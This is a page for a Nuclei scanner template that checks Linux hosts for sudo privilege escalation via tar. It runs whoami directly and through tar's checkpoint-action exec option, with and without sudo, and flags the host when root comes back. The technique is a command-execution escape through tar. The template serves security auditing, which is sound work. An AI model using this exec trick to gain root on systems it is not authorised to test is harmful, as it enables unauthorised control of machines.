tar - Privilege Escalation

ID: privesc-tar

Severity: high

Author: daffainfo

Tags: code,linux,tar,privesc,local

Description

tar is a command-line utility used to create and manipulate archive files. It is commonly used for bundling multiple files and directories into a single archive, often used in conjunction with compression tools like gzip or bzip2.

YAML Source

id: privesc-tar

info:
  name: tar - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    tar is a command-line utility used to create and manipulate archive files. It is commonly used for bundling multiple files and directories into a single archive, often used in conjunction with compression tools like gzip or bzip2.
  reference:
    - https://gtfobins.github.io/gtfobins/tar/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,tar,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami

  - engine:
      - sh
      - bash
    source: |
      sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4b0a004830460221008f418b7f31a1fbba80eee3a20862f5d3a51e668bd7beb5b54a1fd5783b76e284022100a5b92faca0547015b4c997c30e787be16bdceb76500fffad437864bd941a3198:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "code/privilege-escalation/linux/binary/privesc-tar.yaml"

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